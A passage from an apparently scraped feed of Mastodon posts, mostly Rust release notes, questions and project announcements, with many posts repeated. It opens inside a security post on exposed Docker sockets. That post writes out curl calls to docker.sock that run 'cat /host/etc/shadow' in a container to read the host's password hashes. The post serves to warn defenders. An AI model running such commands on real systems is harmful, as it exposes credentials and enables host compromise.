  -H 'Content-Type: application/json' \
  -X POST http://localhost/containers/escape/exec \
  -d '{
    "AttachStdout": true,
    "AttachStderr": true,
    "Tty": true,
      "Cmd": ["cat","/host/etc/shadow"]
  }'

# Step 2, read output of previous command (replace exec ID with yours):
curl --unix-socket /var/run/docker.sock -s --no-buffer \
  -H 'Content-Type: application/json' \
  -X POST http://localhost/exec/1ec29063e5c13ac73b907f57470552dd39519bad293bf6677bedadaad9fcde89/start \
  -d '{"Detach": false, "Tty": true}' 

Keep in mind this isn't only an RCE issue: SSRF-style bugs can coerce internal services into calling local admin endpoints (including docker.sock or a TCP-exposed daemon).

And one more important point: we understand you may not like when texts like this include conditionals: if a container is compromised, if SSRF exists, then the socket becomes a bridge to owning the host. It's understandable. Our job, however, is to assume those "ifs" eventually happen and remove the easy paths for bad actors.

[1] https://docs.docker.com/reference/cli/dockerd/#daemon-socket-option
[2] https://docs.docker.com/engine/api/

Other grumpy stories:
1) https://infosec.exchange/@reynardsec/115048607028444198
2) https://infosec.exchange/@reynardsec/115014440095793678
3) https://infosec.exchange/@reynardsec/114912792051851956

#docker #devops #containers #security #kubernetes #cloud #infosec #sre #linux #php #nodejs #java #javascript #programming #cybersecurity #rust #python #js

I wish there was something that was the opposite of `is_empty()` for many #rust types, because 99% of the time I write `!is_empty()` and so often would be nice to be able to write something like `foo.is_nonempty().then(|| ...)`, whereas `(!foo.is_empty()).then(|| ...)` looks bad to my eyes.

#rustlang

The macro expansion feature just got merged in rustdoc! If enabled, you can now expand all macros in source code pages.

PR: https://github.com/rust-lang/rust/pull/137229

Enjoy!

#rust #rustlang

The macro expansion feature just got merged in rustdoc! If enabled, you can now expand all macros in source code pages.

PR: https://github.com/rust-lang/rust/pull/137229

Enjoy!

#rust #rustlang

Rust For Foundational Software:

https://corrode.dev/blog/foundational-software/

#rust #rustlang #programming

Rust For Foundational Software:

https://corrode.dev/blog/foundational-software/

#rust #rustlang #programming

Wanted: a #RustLang tool with 4 panes:
- desired generated code
- an in progress proc-macro being written
- input #Rust code where the proc-macro is being applied
- a live updating view of the actual generated code with diff annotations against what was desired

If you want to go fancier, tie things in the output to the input and provide suggestions on where things are missing pre-expansion for the output to march the expectation. I feel like 90% of this can be accomplished today with tmux+a file watcher+direct rustc invocations using -Zunpretty=expanded, but it'd be lovely to have an actual tool for this.

Wanted: a #RustLang tool with 4 panes:
- desired generated code
- an in progress proc-macro being written
- input #Rust code where the proc-macro is being applied
- a live updating view of the actual generated code with diff annotations against what was desired

If you want to go fancier, tie things in the output to the input and provide suggestions on where things are missing pre-expansion for the output to march the expectation. I feel like 90% of this can be accomplished today with tmux+a file watcher+direct rustc invocations using -Zunpretty=expanded, but it'd be lovely to have an actual tool for this.

does anyone know of discussions around making `RawWaker` work with custom allocators? #rust #rustlang

does anyone know of discussions around making `RawWaker` work with custom allocators? #rust #rustlang

A massive improvement in rustdoc search just got merged:

• Search on crates like windows-rs doesn't block the browser for a few seconds (or more) anymore.
• The UI was improved.

It should be available in tomorrow's nightly, can't wait!

PR: https://github.com/rust-lang/rust/pull/144476

#rust #rustlang

Working on a battle system for #RADIOFORESTRION

It's a post-apocalyptic RPG, where
you play as a guilt-ridden exile, who tries to maintain their sanity while traversing a dying forest trying to find an ancient machine that can manipulate reality.

#Rust #Bevy #Ratatui #GameDev

Working on a battle system for #RADIOFORESTRION

It's a post-apocalyptic RPG, where
you play as a guilt-ridden exile, who tries to maintain their sanity while traversing a dying forest trying to find an ancient machine that can manipulate reality.

#Rust #Bevy #Ratatui #GameDev

A massive improvement in rustdoc search just got merged:

• Search on crates like windows-rs doesn't block the browser for a few seconds (or more) anymore.
• The UI was improved.

It should be available in tomorrow's nightly, can't wait!

PR: https://github.com/rust-lang/rust/pull/144476

#rust #rustlang

🚀 Czkawka 10.0 has been released.
A fast, multi-platform app (in #Rust) for finding duplicates, empty folders, similar images & more.
Its GUI, Krokiet, is built with #Slint

🔗 https://github.com/qarmin/czkawka

💬 https://www.reddit.com/r/rust/comments/1mtomwh/czkawka_krokiet_100_cleaning_duplicates_unifying/

#MadeWithSlint #rustlang

The #SumUp card payment terminals seem to be quite popular, also among communities taking donations, e.g. at #FrOSCon.

For @Teckids , I made a small stand-alone POS frontend, so we can take card payments and display QR codes for receipts to customers while avoiding the proprietary Google Play app and not passing on customers' e-mail addresses to SumUp.

It's very basic for now, but find it here:

https://codeberg.org/Natureshadow/pumus

#FOSS #OpenSource #Rust

The #SumUp card payment terminals seem to be quite popular, also among communities taking donations, e.g. at #FrOSCon.

For @Teckids , I made a small stand-alone POS frontend, so we can take card payments and display QR codes for receipts to customers while avoiding the proprietary Google Play app and not passing on customers' e-mail addresses to SumUp.

It's very basic for now, but find it here:

https://codeberg.org/Natureshadow/pumus

#FOSS #OpenSource #Rust

Dear #Rust #RustLang folks doing #Axum

What's your preferred way of having a single handler for multiple form submission types?

That is, let's say I have a settings page, and there's different "sections" to the settings, which all get handled differently, but I want the Form to get deserialized per usual?

Unfortunately, serde_html_form doesn't support deserializing enums for something like this? At least not out of the box?

Excellent. Got this working in the #ConjuredInk #Rust #RustLang #Axum server.

If you just wrap any plain <form> with <ajax-it>, it’ll submit that form as a fetch instead. Server-side, a middleware checks for a header and sets a flag, and you can use that to only partially render the response.

Without JS, you get the some whole page back, just like normal. With working JS, you only get the "patch", and then <ajax-it> overwrites the matching nodes.

This is a hybrid of htmx and htmz that uses a web component instead of a global thing with odd attribute annotations, and unlike htmz, lets you have programmatic lifecycle hooks, set that header so you can share the exact same endpoint, etc.

And it’s still just a tiny, plain, standalone Web Component with no deps. It's a couple of kb mingz, and I'll probably golf it around a bit to make it smaller.

#WebDev

This month's Seoul Rust meetup is just around the corner!

RSVP: https://www.meetup.com/rust-seoul-meetup/events/310347685/

You can also follow us here: @rustseoul

#rust #rustlang

Sorry people, but #rust seems not yet to be enterprise ready: you cannot easily configure a proxy server or a mirror to use!

Is the overall #rust ecosystem this US-skewed? Or is it just that only Americans read This Week in Rust? Or is everyone using VPNs?

🤔

I'm still new to the #Rust ecosystem but I can see why it's become so popular so quickly. Aside from the language itself, the tooling just makes sense - so far I've rarely gone "why would you do it that way?"

Contrast that with Python, where that question was basically constantly on my mind when I was finding my way around 6-7 years ago :P (it's gotten better since then, thankfully).

Dear #rust #RustLang folks who use #axum

Do you have a nice router crate you recommend? My use case here is that I have a lot of situations where I want to actually resolve routes (to generate links and the like) and I really dislike how untyped/unverified those random strings are.

https://crates.io/crates/axum-routes seems good, but it's somewhat low usage. Still, it's pretty small and seems to do exactly what I need (lets me keep separating route definition from handler definition, lets me do reverse lookups, does static route typing, etc)

zizmor 1.12 is released!

this release comes with a few big additions/enhancements:

- a new `unsound-condition` audit that checks for `if:` clauses that don't evaluate as expected
- the `insecure-commands`, `cache-poisoning` and `known-vulnerable-actions` audits now support auto-fixes
- `use-trusted-publishing` can now detect several more patterns, including `cargo publish` now that crates.io supports trusted publishing!

full notes including bugfixes here:

https://docs.zizmor.sh/release-notes/#1120

#opensource #rust #security

zizmor 1.12 is released!

this release comes with a few big additions/enhancements:

- a new `unsound-condition` audit that checks for `if:` clauses that don't evaluate as expected
- the `insecure-commands`, `cache-poisoning` and `known-vulnerable-actions` audits now support auto-fixes
- `use-trusted-publishing` can now detect several more patterns, including `cargo publish` now that crates.io supports trusted publishing!

full notes including bugfixes here:

https://docs.zizmor.sh/release-notes/#1120

#opensource #rust #security

I wrote a work-stealing task queue library for Rust! It's called takeaway, and I just published a version I think is ready for use. The only popular task queue library out there (for Rust) is crossbeam-deque; compared to it, takeaway provides a higher-level API with a lot more features. I wrote it as part of my very-very-WIP Rust compiler, which needed the unique feature of task prioritization; takeaway's since grown a lot, and manages competitive (if not better) performance to crossbeam-deque! You can find it at https://crates.io/crates/takeaway; I've also written a blog post about the design and implementation process, at https://bal-e.org/speed/krabby/takeaway. If you're writing a performance-intensive, task-based program in Rust, or if you're already using crossbeam-deque, please check it out.

#rust #programming #optimization #takeaway

I wrote a work-stealing task queue library for Rust! It's called takeaway, and I just published a version I think is ready for use. The only popular task queue library out there (for Rust) is crossbeam-deque; compared to it, takeaway provides a higher-level API with a lot more features. I wrote it as part of my very-very-WIP Rust compiler, which needed the unique feature of task prioritization; takeaway's since grown a lot, and manages competitive (if not better) performance to crossbeam-deque! You can find it at https://crates.io/crates/takeaway; I've also written a blog post about the design and implementation process, at https://bal-e.org/speed/krabby/takeaway. If you're writing a performance-intensive, task-based program in Rust, or if you're already using crossbeam-deque, please check it out.

#rust #programming #optimization #takeaway

Great posts by @hds for understanding how async/await works in #rust, and how it is different from the async/await I was used to from #typescript -

https://hegdenu.net/posts/understanding-async-await-1/

Not too beginner-ish, but doesn't go off in the weeds either. Perfectly balanced, as all things should be.

#reaction v2.2.0 is released!

Two big new features:
- Full IP support (built-in regex, ip ranges, different actions on IPv4 and IPv6...)
- Options for action deduplication

See the release for a more detailed changelog:
https://framagit.org/ppom/reaction/-/releases/v2.2.0

#reaction-rust #rust #fail2ban

#RustLang #Rust

#reaction v2.2.0 is released!

Two big new features:
- Full IP support (built-in regex, ip ranges, different actions on IPv4 and IPv6...)
- Options for action deduplication

See the release for a more detailed changelog:
https://framagit.org/ppom/reaction/-/releases/v2.2.0

#reaction-rust #rust #fail2ban

#Rust lazyweb: if I use -> impl Into<MyError> as the return type for a function, I still can’t use ? syntax with it because ? is defined in terms of From, not Into. Is there a way to use the impl shorthand in terms of From instead? (Specifically in a trait! RPITIT is important here cause I don’t want to write the assoc type explicitly at all N use sites.)

Who tis? New number??

No, same old me but now a member of #Rust Embedded libs team. 😎

I hope to use my new super powers to help maintain the heapless crate better. Despite its popularity, the crate hasn't seen a release in over a year.

@Natasha_Jay

The spring framework has been ported to #rust.

@Natasha_Jay

The spring framework has been ported to #rust.

I did a RIIR again and:

Two apps nearly-identical in functionality now. On startup, before processing anything:

#Rust + #Axum: 3.5MB RES
#Elixir + #Phoenix: 75MB RES

Literally 20x difference, and I haven't even benchmarked throughput/perf. For a use case where a big goal is extremely low resource use, this is huge.

(both of these are running in release/prod mode btw)

Well, let me try to learn #rust again. What better "example" program than audio DSP? 😃

Every once in a while I put together something cool. I built a game engine in python many years ago which I eventually migrated to rust, and have now migrated to the gameboy advance in rust. I'm well pleased.
https://github.com/tnibert/Pluto-Engine
#gamedev #retrogaming #rust

So for a struct that's from an external crate, is there a nice way to turn this more data-driven/less repetitive?

First thought was implement a trait with just the `type_attribute` function but Rust doesn't do duck-typing so I'd have to reimplement the function which would then clash.

I suppose I could make a different-named function on the trait and connect the two there but that feels off?

#RustLang #Rust

Is it even possible to do Generics with Clap?

What about with a couple `Box<dyn IntoRequest>` ?

#RustLang #Rust

#Wayland input methods.

I'm sorry to say #iced doesn't have enough people with review/merge rights, so my work making #Chinese and #Japanese #input good on Wayland is going nowhere.

What are other #Rust #GUI libraries I could contribute to instead?

#cjk #opensource #nlnet

I just successfully built the Rust compiler with the GCC backend. One more step toward having GCC as an alternative backend codegen alongside LLVM and Cranelift. :)

If you want to try it out, here's the branch: https://github.com/GuillaumeGomez/rust/tree/full-gcc

Instructions on how to build it:

1. Enable gcc.download-ci-gcc = true and rust.codegen-backends = ["gcc"] in the boostrap.toml file in the rust repository.
2. Run x.py build --stage 1

Then to run the new rustc:

LD_LIBRARY_PATH="build/{YOUR_ARCH}/ci-gcc/lib/:$LD_LIBRARY_PATH" ./build/{YOUR_ARCH}/stage1/bin/rustc

#rust #rustlang

I just successfully built the Rust compiler with the GCC backend. One more step toward having GCC as an alternative backend codegen alongside LLVM and Cranelift. :)

If you want to try it out, here's the branch: https://github.com/GuillaumeGomez/rust/tree/full-gcc

Instructions on how to build it:

1. Enable gcc.download-ci-gcc = true and rust.codegen-backends = ["gcc"] in the boostrap.toml file in the rust repository.
2. Run x.py build --stage 1

Then to run the new rustc:

LD_LIBRARY_PATH="build/{YOUR_ARCH}/ci-gcc/lib/:$LD_LIBRARY_PATH" ./build/{YOUR_ARCH}/stage1/bin/rustc

#rust #rustlang

Btw. I will send a (virtual) cheese to anyone who manages to actually run a Ratatui TUI on a smart fridge (not sure if I know anyone who actually has one).

#ratatui #rust #Terminal

People who use #Rust a lot:
What's a bad coding behavior that Rust encourages?

Every language has at least one. Examples:

- C: arcane pointer arithmetic
- Ruby: disruptive monkey patching
- JS: nesting callbacks/promises (before async/await was a thing)
- Java: AsyncAbstractSingletonFactoryObserverFactoryProvider
- Perl: *!%^([@])

Btw. I will send a (virtual) cheese to anyone who manages to actually run a Ratatui TUI on a smart fridge (not sure if I know anyone who actually has one).

#ratatui #rust #Terminal

Bryndza coming straight to your fridge!
(It’s no_std!)
We will be releasing beta soon.

Ratatui runs not only in terminal, but also in the browser, on PSP, Minecraft, UEFI, Suzuki Baleno and a guitar tuner. What’s next?

#ratatui #rust #Terminal

Something I periodically rediscover: https://ianwwagner.com/til/optimizing-rustc-target-features

I always forget the commands around target features so I wrote up a little post the other day.

#rust #rustlang

Readings shared July 29, 2025. https://jaalonso.github.io/vestigium/posts/2025/07/30-readings_shared_07-29-25 #CoqProver #FormalVerification #FunctionalProgramming #Haskell #IMO #ITP #LLMs #LeanProver #MachineLearning #Math #ProofAssistant #Rocq #Rust

Comparing codes: Spiral matrix (another matrix layer problem). ~ James Bowen. https://mmhaskell.com/blog/2025/7/28/spiral-matrix-another-matrix-layer-problem #Haskell #FunctionalProgramming #Rust

Tried revisiting Ludwig (my Lemmy clone project) today. I've been experimenting with Cursor and AI-assisted development--yes, yes, I know, but it's actually nice for speeding up boilerplate tasks! And it's surprisingly good for C++... so long as you never trust it with memory management.

One thing I left unfinished was full-text search. I had a cobbled-together homegrown LMDB-based search index with sentencepiece as a tokenizer, but it barely works. So I decided to find a C++ embedded search library. And the pickings are slim.

First choice was CLucene, which sort of works. Cursor helped me figure out the barely-documented API, but also generated a bunch of use-after-frees that I had to sort out. CLucene is 15 years old and kind of works, but it also leaks memory like crazy and I can't find any way to fix it. Asan thinks the leaks are coming from within CLucene, so it's probably not my code?

I tried another over-a-decade-old project, Zettair (formerly Lucy). Cursor could translate the autotools build files to Meson, and it worked on the first try, nice! But Zettair can only index files, not in-memory strings...

What else is there? Xapian is GPL, and I want to keep the project Apache-2.0 licensed, so that's out. Pisa also can only load files and can't add new entries while running. Rust libraries like Tantivy would massively bloat the binary.

As a last resort, I started vibe-coding a translation of Sonic (a very cool Rust search engine that sadly can't be embedded) into a C library, and it didn't take too long to get something working! But it's still more yak shaving. I don't need it, I don't need it...

#Lemmy #Ludwig #Cpp #Rust #CLucene #Cursor

Can you actually move a Copy in #Rust

https://blog.veeso.dev/blog/en/can-you-move-a-copy-in-rust/

#rustlang

Can you actually move a Copy in #Rust

https://blog.veeso.dev/blog/en/can-you-move-a-copy-in-rust/

#rustlang

Iterative fibonacci in #rust, will be interesting if I can shorten it further!

fn fibi(n: u32) -> u64 {
let mut f = 1;
let mut pf = 1;
for _ in 2..n {
let t = pf;
pf = f;
f += t;
}
f
}

Driver:

fn main() {
for n in 1..=10 {
println!("{}\t{}\t{}", n, fib(n), fibi(n));
}
}

fn fib(n: u32) -> u32 {
if n < 3 { 1 } else { fib(n - 1) + fib(n - 2) }
}

I tried loco.rs

I will not be trying loco.rs again, unfortunately.

#Rust #RustLang

Readings shared July 22, 2025. https://jaalonso.github.io/vestigium/posts/2025/07/23-readings_shared_07-22-25 #FunctionalProgramming #Haskell #IMO #ITP #LLMs #Math #Rocq #Rust

Comparing codes: Image rotation (Mutable arrays in Haskell). ~ James Bowen. https://mmhaskell.com/blog/2025/7/21/image-rotation-mutable-arrays-in-haskell #Haskell #FunctionalProgramming #Rust

@ThePSF and rust is at 18th position, just after... Scratch?

#rust #tiobe

„Ratatui - Are We Embedded Yet?” talk is finally online!

I gave the same talk at Rust Gdansk 9 and Rust Poland 1, this recording is from the second meetup.

It’s my first talk (not counting lightning talks) and I struggle with public speaking (trying to change that) but I hope you like it.

Btw. Terminal/presentation had to be re-recorded afterwards so that’s why typing is not in sync.

https://youtu.be/QPjojOuhbe8?si=X4-hPRZ4cfPXefrU

#ratatui #rust #terminal #esp32

„Ratatui - Are We Embedded Yet?” talk is finally online!

I gave the same talk at Rust Gdansk 9 and Rust Poland 1, this recording is from the second meetup.

It’s my first talk (not counting lightning talks) and I struggle with public speaking (trying to change that) but I hope you like it.

Btw. Terminal/presentation had to be re-recorded afterwards so that’s why typing is not in sync.

https://youtu.be/QPjojOuhbe8?si=X4-hPRZ4cfPXefrU

#ratatui #rust #terminal #esp32

hjson tool(cli) https://github.com/hjson/hjson-rust #rust

This weekend wraps a replatforming of the #stigmerge CLI onto a high level #filesharing API. A necessary step towards a #Transmission like interface. Experimenting with #tauri now.

A few bug fixes happened as well :)

https://github.com/cmars/stigmerge/releases/tag/stigmerge-v0.5.7

Need to fix #rust docs.rs, they're not building yet 🤦

#veilid #p2p

This weekend wraps a replatforming of the #stigmerge CLI onto a high level #filesharing API. A necessary step towards a #Transmission like interface. Experimenting with #tauri now.

A few bug fixes happened as well :)

https://github.com/cmars/stigmerge/releases/tag/stigmerge-v0.5.7

Need to fix #rust docs.rs, they're not building yet 🤦

#veilid #p2p

Readings shared July 18, 2025. https://jaalonso.github.io/vestigium/posts/2025/07/19-readings_shared_07-18-25 #ACL2 #CompSci #FunctionalProgramming #Haskell #ITP #LLMs #LeanProver #Rocq #Rust #Teaching

Async Rust Is A Bad Language via @RunxiYu https://lobste.rs/s/f0um5j #rust
https://bitbashing.io/async-rust.html

Async Rust Is A Bad Language via @RunxiYu https://lobste.rs/s/f0um5j #rust
https://bitbashing.io/async-rust.html

Comparing codes: Binary search in a 2D matrix. ~ James Bowen. https://mmhaskell.com/blog/2025/7/14/binary-search-in-a-2d-matrix #Haskell #FunctionalProgramming #Rust

"C is a simple language. This is fact I agree with and appreciate. It is the reason for C's endurance. If someone posts a patch or submits a PR to a codebase written in C, it is easier to review than any other mainstream language. There is no spooky at a distance."

https://mnvr.in/rust

#rust #c #cpp #haskell

So uh. #Rust #RustLang lower-level folks: does str::to_owned() actually make a full copy under the hood? I have always assumed it does, and that Cow is the only case where those semantics happen, but….

the feminine urge to just fucking fork cxx

#Rust #RustLang

what #ide do you use for #rust? i'm currently on rustrover, but it's too slow, and i'm seeking an alternative. one of the features i like in jetbrains ides, and really need—browsing source code of your dependencies. couldn't find it in vscode. do you know any editors or vscode plugins which allow this?

When writing #Rust code as if it were a high-level language, what is your biggest annoyance/roadblock?
Put another way, what is the biggest thing that gets in the way of Rust feeling like Python or Swift to you?
#RustLang

Les quería presumir mi tapete de #Rust hecho con telar de pedal.

Les quería presumir mi tapete de #Rust hecho con telar de pedal.

RustLang question: If `From` is implemented between two types, is it possible to seamlessly convert between Vectors of those two types?

Compiler won't let me `impl from<Vec<...>>` for the two types since `Vec` isn't in my crate.

This whole thing is working around the fact that `NodeGroup` in an external crate doesn't have `Deserialize` on it, though it is generated code by `prost`...

#Rust #RustLang

The latest #techlounge is packed with great interviews with great people from #fosdem back in February.

We have Rebecca Rumbul from the #Rust Foundation
A whole bunch of people from Sysdig talking about #stratoshark
Frank Karlitschek of #Nextcloud
And… @andypiper from Mastodon

Put up with the background noise, there's some great content!

Search for "Tech Lounge" wherever you get podcasts or listen here: https://chrischinchilla.com/podcast/voices-from-fosdem-2025

The latest #techlounge is packed with great interviews with great people from #fosdem back in February.

We have Rebecca Rumbul from the #Rust Foundation
A whole bunch of people from Sysdig talking about #stratoshark
Frank Karlitschek of #Nextcloud
And… @andypiper from Mastodon

Put up with the background noise, there's some great content!

Search for "Tech Lounge" wherever you get podcasts or listen here: https://chrischinchilla.com/podcast/voices-from-fosdem-2025

Carolyn Zech from Amazon Web Services brought her A-game to The Linux Foundation Open-Source Summit, delivering an engaging talk on verifying the Rust Standard Library. [video]
#rust #rustlang #programming

https://www.youtube.com/watch?v=8_lzVNs1uPk

Carolyn Zech from Amazon Web Services brought her A-game to The Linux Foundation Open-Source Summit, delivering an engaging talk on verifying the Rust Standard Library. [video]
#rust #rustlang #programming

https://www.youtube.com/watch?v=8_lzVNs1uPk

Readings shared July 9, 2025. https://jaalonso.github.io/vestigium/posts/2025/07/10-readings_shared_07-09-25 #ACL2 #CAS #CoqProver #FunctionalProgramming #Haskell #ITP #IsabelleHOL #LLMs #LeanProver #Logic #Math #Rust #SAT

Comparing codes: Binary search in Haskell and Rust. ~ James Bowen. https://mmhaskell.com/blog/2025/7/7/binary-search-in-haskell-and-rust #Haskell #FunctionalProgramming #Rust

So the new #coreutils #uutils are now developed on a proprietary and exclusive platform. And I don't get it.

Rewrite it in #Rust, ok. Emancipate from #GNU and #Stallmann, ok. I get it.

But why on Earth put it in a walled garden, drag more users and contributors into a walled garden, and expand dependencies on Big Tech even for the base of #Linux systems? Why can't we have people who are both technically skilled *and* conceive basic freedoms and digital independence?

Someone interested in contributing to a #notmuch #email reader in #rust ?

I am currently writing a #ratatui frontend, but I also plan to implement a #slint frontend.

And I am making pretty good progress right now. Maybe I get to a point where one can actually look at email content by sunday afternoon. 😆

Ye gods I'm fighting the module system in Rust with these proto-generated files.

Is it even possible to include Rust modules with periods in the file names?

#RustLang #Rust

Readings shared July 4, 2025. https://jaalonso.github.io/vestigium/posts/2025/07/05-readings_shared_07-04-25 #CategoryTheory #FunctionalProgramming #Haskell #ITP #IsabelleHOL #LLMs #LeanProver #Logic #Math #Rust #TypeTheory

Someone interested in contributing to a #notmuch #email reader in #rust ?

I am currently writing a #ratatui frontend, but I also plan to implement a #slint frontend.

And I am making pretty good progress right now. Maybe I get to a point where one can actually look at email content by sunday afternoon. 😆

I’ve got a #rust optimization question. When a function takes an Into<T> as the only argument would it be possible for the compiler to only produce one function that takes T and move the Into logic outside of the function?

(Rather than making N different functions for N different types that impl Into<T>)

Or same thing with AsRef<&str>.

Reflections on Haskell and Rust. ~ Sibi Prabakaran. https://academy.fpblock.com/blog/rust-haskell-reflections #Haskell #FunctionalProgramming #Rust

A new release of sudo-rs is out! Highlights:
- Increased backwards compatibility with older Linux kernels.
- Programs executed can be prevented from running other programs (NOEXEC)
- Other usability improvements suggested and contributed by our users!

With thanks for the support by @nlnet @ubuntu @jnsgruk @NGIZero

#sudo #rust #rustlang

https://github.com/trifectatechfoundation/sudo-rs/releases/tag/v0.2.7

A new release of sudo-rs is out! Highlights:
- Increased backwards compatibility with older Linux kernels.
- Programs executed can be prevented from running other programs (NOEXEC)
- Other usability improvements suggested and contributed by our users!

With thanks for the support by @nlnet @ubuntu @jnsgruk @NGIZero

#sudo #rust #rustlang

https://github.com/trifectatechfoundation/sudo-rs/releases/tag/v0.2.7

do I know anyone with some experience with cxx who could help me out with some more complicated pass-stuff-in-that-gets-written-to-and-some-of-it-is-rust-and-etc?

#rust #rustlang

#introduction mreeow! Hi! My name is Momo! I'm a transfemme, and she/they is my preferred pronouns.

I code as a hobby in #rust and #haskell. I also use #nixos as my main daily driver since last year.

I enjoy creating casual game mods in my free time, including Stardew Valley, #twohoursonelife, and various other games.

I also love playing Cataclysm: Bright Nights (#cbn) and #Stardew Valley. Sometimes, #widelands, and #openttd too, because why not? I like the look and feel of these games.

During the weekends, I try to finish reading a fantasy book or two, if I'm feeling reaaaaally cozy

I will be posting about techy stuff that I encounter (mainly #nix and #rust), share my gaming experiences, and rant about random things, ranging from politics to personal life.

And I like to sip a cup of coffee while watching camping videos, too, for some reason.

Feel free to follow me if you want to hear more of my blabbing!

PS: I will put distressing or NSFW posts behind CW.

I have long planned to write a utility for synchronizing #Snac profiles with the #Nex blog, and I recently published its initial release:
https://codeberg.org/postscriptum/snac2nex

Additionally, I want to create a local copy of media data so that it can be accessed without going out into the HTTP space.

#snac2nex #Rust

I have long planned to write a utility for synchronizing #Snac profiles with the #Nex blog, and I recently published its initial release:
https://codeberg.org/postscriptum/snac2nex

Additionally, I want to create a local copy of media data so that it can be accessed without going out into the HTTP space.

#snac2nex #Rust

I have long planned to write a utility for synchronizing #Snac profiles with the #Nex blog, and I recently published its initial release:
https://codeberg.org/postscriptum/snac2nex

Additionally, I want to create a local copy of media data so that it can be accessed without going out into the HTTP space.

#snac2nex #Rust

Got my first real PR merged into @servo today :)

https://github.com/servo/servo/pull/37728

#rust #browser

A Newbie's First Contribution to (Rust for) Linux https://lobste.rs/s/7d4on3 #linux #rust
https://blog.buenzli.dev/rust-for-linux-first-contrib/

A Newbie's First Contribution to (Rust for) Linux https://lobste.rs/s/7d4on3 #linux #rust
https://blog.buenzli.dev/rust-for-linux-first-contrib/

I am slowly oxidizing my unix CLI. A lot of people have made rust based versions of common unix utilities and some of them are REALLY good.

Like fd-find for doing essentially find . -name blah. And rg (ripgrep) which does grep -R but it's aware of git, files like pyc or .bak files, and it excludes them by default.

Now I have sd which is hopefully replacing the last thing I used perl for. I write perl -pi -e s/x/y/g a lot. Just doing a quick string replace inside a file. So sd can start doing that.

I'm also trying to get used to zellij instead of tmux and starship for modern prompt decorations like the kids do.

These kids, my friends, are welcome on my lawn.

#rust #cli #linux

Got my first real PR merged into @servo today :)

https://github.com/servo/servo/pull/37728

#rust #browser

zizmor v1.10.0 is released!

this is a *huge* new release in terms of features, bugfixes, and enhancements. just to highlight a few:

* zizmor's new experimental fix mode is now available! users can use `--fix=[MODE]` to control it; see the docs for more: https://docs.zizmor.sh/usage/#auto-fixing-results

* the new anonymous-definition audit flags unnamed workflows and jobs for the pedantic persona: https://docs.zizmor.sh/audits/#anonymous-definition

* zizmor's location/fixture core has been rewritten to support "subfeatures," meaning that many audits now produce much nicer/more precise finding renders that are easier to read

read the full release notes here: https://docs.zizmor.sh/release-notes/#1100

#rust #security

zizmor v1.10.0 is released!

this is a *huge* new release in terms of features, bugfixes, and enhancements. just to highlight a few:

* zizmor's new experimental fix mode is now available! users can use `--fix=[MODE]` to control it; see the docs for more: https://docs.zizmor.sh/usage/#auto-fixing-results

* the new anonymous-definition audit flags unnamed workflows and jobs for the pedantic persona: https://docs.zizmor.sh/audits/#anonymous-definition

* zizmor's location/fixture core has been rewritten to support "subfeatures," meaning that many audits now produce much nicer/more precise finding renders that are easier to read

read the full release notes here: https://docs.zizmor.sh/release-notes/#1100

#rust #security

In case anyone was wondering, yes my project Wordforge is effectively abandoned. I graduated and got a job last year and haven't had the time to work on it. It's a shame really since I really wanted to see something like this on the fediverse, but such is life.

If anyone wants to take over, feel free.

https://codeberg.org/grafcube/wordforge

#wordforge #opensource #foss #fediverse #activitypub #rust #leptos

In case anyone was wondering, yes my project Wordforge is effectively abandoned. I graduated and got a job last year and haven't had the time to work on it. It's a shame really since I really wanted to see something like this on the fediverse, but such is life.

If anyone wants to take over, feel free.

https://codeberg.org/grafcube/wordforge

#wordforge #opensource #foss #fediverse #activitypub #rust #leptos

In case anyone was wondering, yes my project Wordforge is effectively abandoned. I graduated and got a job last year and haven't had the time to work on it. It's a shame really since I really wanted to see something like this on the fediverse, but such is life.

If anyone wants to take over, feel free.

https://codeberg.org/grafcube/wordforge

#wordforge #opensource #foss #fediverse #activitypub #rust #leptos

Readings shared June 25, 2025. https://jaalonso.github.io/vestigium/posts/2025/06/26-readings_shared_06-25-25 #Haskell #FunctionalProgramming #Rust

#reaction 's v2.1.0 is published!
News:
- big performance improvements on regex matching 🚀
- new 'trigger' command to manually ban IPs 👋 (or whatever you're doing with reaction!)
- 'oneshot' actions option, useful for alerting 🚨

https://framagit.org/ppom/reaction/-/releases/v2.1.0

reaction is a software which aims to replace #fail2ban on UNIX servers, while being faster, more flexible, an nicer to configure.
#rust #monitoring #alerting #security

#reaction 's v2.1.0 is published!
News:
- big performance improvements on regex matching 🚀
- new 'trigger' command to manually ban IPs 👋 (or whatever you're doing with reaction!)
- 'oneshot' actions option, useful for alerting 🚨

https://framagit.org/ppom/reaction/-/releases/v2.1.0

reaction is a software which aims to replace #fail2ban on UNIX servers, while being faster, more flexible, an nicer to configure.
#rust #monitoring #alerting #security

Comparing codes: The sliding window in Haskell & Rust. ~ James Bowen. https://mmhaskell.com/blog/2025/6/23/the-sliding-window-in-haskell-amp-rust #Haskell #FunctionalProgramming #Rust

2. https://github.com/bevyengine/bevy/pull/19196

Improved example descriptions for our fog example :) Straightforward and clear; I really love this work.

Module docs in examples are a really nice #rust patern; you can give a lot of helpful context and motivation. With a review from Charlotte, it's time to merge!

Alright, with the help of a little bit of Earl Grey, I'm feeling ready for my weekly #bevymergetrain. A little sleep deprivation won't stop me from doing a final pass on the community approved #opensource #rust PRs for Bevy!

Follow along, as we review the 11 PRs in our backlog :)

🦀🧀🐀
Just a quick reminder - there’s a very cheesy #rust challenge happening over at Ratatui!
Whether you’re building something wild with Ratatui or want to cook up something new and unexpected, I highly encourage you to submit it!
🔗https://github.com/ratatui/ratatui/discussions/1886

#ratinthewild #rustlang #ratatui #terminal #tui #rust

🦀🧀🐀
Just a quick reminder - there’s a very cheesy #rust challenge happening over at Ratatui!
Whether you’re building something wild with Ratatui or want to cook up something new and unexpected, I highly encourage you to submit it!
🔗https://github.com/ratatui/ratatui/discussions/1886

#ratinthewild #rustlang #ratatui #terminal #tui #rust

Two RFCs have finished FCP, so in the near future you'll be able to have attribute & derive macros that are declarative (i.e. not proc macros).

Thanks @josh for writing these up. Looking forward to RFC 3714, which will render many proc macros obsolete.

https://github.com/rust-lang/rfcs/pull/3697
https://github.com/rust-lang/rfcs/pull/3698

#Rust #RustLang #programming

Hello #rust people 🦀

Am I correct in my understanding that to use or manage rust crates I would need a #GitHub login?

Looking at crates.io and this github issue[1] from 2016 it seems that using Microsoft's GitHub is the only way to login or publish. Is that still the case?

I'm rather reluctant to go back to using GitHub having given up GitHub[2] some years ago.

[1] https://github.com/rust-lang/crates.io/issues/326

[2] https://sfconservancy.org/GiveUpGitHub/

#GiveUpGithub

